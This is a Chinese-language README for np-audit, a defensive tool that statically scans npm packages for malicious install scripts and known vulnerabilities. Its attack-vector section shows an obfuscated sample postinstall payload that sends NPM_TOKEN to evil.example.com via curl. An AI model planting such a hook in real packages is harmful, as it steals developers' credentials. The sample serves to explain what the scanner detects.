np-audit — npm 包审计工具

针对 npm 包的静态安全分析——在执行前检测混淆的生命周期脚本、已知漏洞和恶意模式。可作为 npm install 和 npm ci 的即插即用替代品。

零依赖。 仅使用纯 Node.js 内置模块。体积 < 100 kB。

npx np-audit scan express

npm install -g np-audit
npa scan                     # 扫描所有依赖
npa install                  # 审计并安装
alias npm='npa'              # 作为即插即用替代品使用

检测器（Marshallers）

检测功能被拆分为模块化的检测器（marshallers）——每个检测器检测一种攻击信号：

分数随严重程度变化——混淆指标数量越多，分数越高。最终判定基于所有检测器中的单个最高分。

参见 CONTRIBUTING.md 了解如何编写自定义检测器。

漏洞扫描（CVE）

每个被扫描的包都会在代码分析的同时，与已知漏洞数据库进行比对。

默认：OSV.dev（无需额外设置）

开箱即用——查询免费的 OSV.dev API 以获取已知漏洞和恶意包公告。

可选：Snyk API（更丰富的数据）

# 环境变量
export SNYK_API_TOKEN=your-token-here

# 或通过 Snyk CLI
snyk auth

令牌解析顺序：SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json

非恶意的 CVE 会产生警告，但不会阻止安装。只有确认的恶意包才会触发“危险”判定。

使用方式

命令

任何未识别的命令都将转发给 npm（例如 npa run test、npa publish）。

标志

交互式 --review 模式

npa install --review

  npa --review 模式
  使用 ↑/↓ 导航，SPACE 切换，ENTER 确认，q 退出

  发现 3 个包含安装脚本的包：

     [✓ 允许] [email protected]       postinstall: post-install.js     OK
   ▶ [✗ 拒绝] [email protected]       postinstall: install.js          危险 (分数: 9)
     [✓ 允许] @scope/[email protected]     postinstall: install.js          警告 (分数: 5)

  2 个已允许  1 个已拒绝

配置

配置存储在 ~/.npmauditor.json（全局），并可在项目中通过 .npmauditor.json 覆盖。

npa config get                              # 显示当前配置
npa config set blockScore 6                 # 在分数 ≥6 时阻止
npa config set skipPackages '["esbuild"]'   # 信任特定包
npa config set skipScopes '["@types"]'      # 信任整个范围

所有配置键

禁用检测器

您可以通过将特定检测器的名称添加到 disabledMarshallers 来禁用它们：

npa config set disabledMarshallers '["process-env", "network-call"]'

要查看所有可用的检测器名称及其当前状态：

npa config marshallers

当某个检测器在您的工作流中产生误报时，这会很有用。被禁用的检测器在静态代码分析和包级别检查中都会被完全跳过。

Shell 别名

将 npa 用作透明的 npm 替代品：

npa alias --install     # 添加：alias npm='npa'
source ~/.zshrc         # 重新加载 shell

现在 npm install、npm ci 会自动扫描。所有其他 npm 命令（npm run、npm test、npm publish）会原样传递。

npa alias --uninstall   # 移除别名

工作原理

1. 解析 package-lock.json（v1/v2/v3）或从 package.json 解析
2. 获取 来自注册表的 tarball（或从 node_modules 读取）
3. 解析 生命周期命令——拆分 &&/||/;/|，处理 node -e、sh -c、shell 脚本
4. 遍历 每个入口处的 require()/import 图（循环检测，上限 50 个文件 / 5 MB）
5. 分析 使用所有检测器——静态代码检查 + CVE 数据库查询
6. 评分 和分类：DANGER / WARN / OK
7. 报告 或继续安装

攻击向量

供应链攻击滥用 npm 的生命周期脚本。当您运行 npm install 时，任何 preinstall/install/postinstall 脚本都会自动执行。攻击者将有效载荷隐藏在混淆之后：

var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');

现实世界中的事件：

• event-stream (2018) — 比特币钱包凭证盗窃
• ua-parser-js (2021) — 加密货币矿工 + 信息窃取者
• node-ipc (2022) — 地理定位的擦除器恶意软件
• colors / faker (2022) — 维护者蓄意破坏
• SAP CAP / cds-dbs (2025) — 被攻陷的包，针对企业开发人员

npa 从不执行脚本。它会下载并静态分析它们。

退出码

许可证

MIT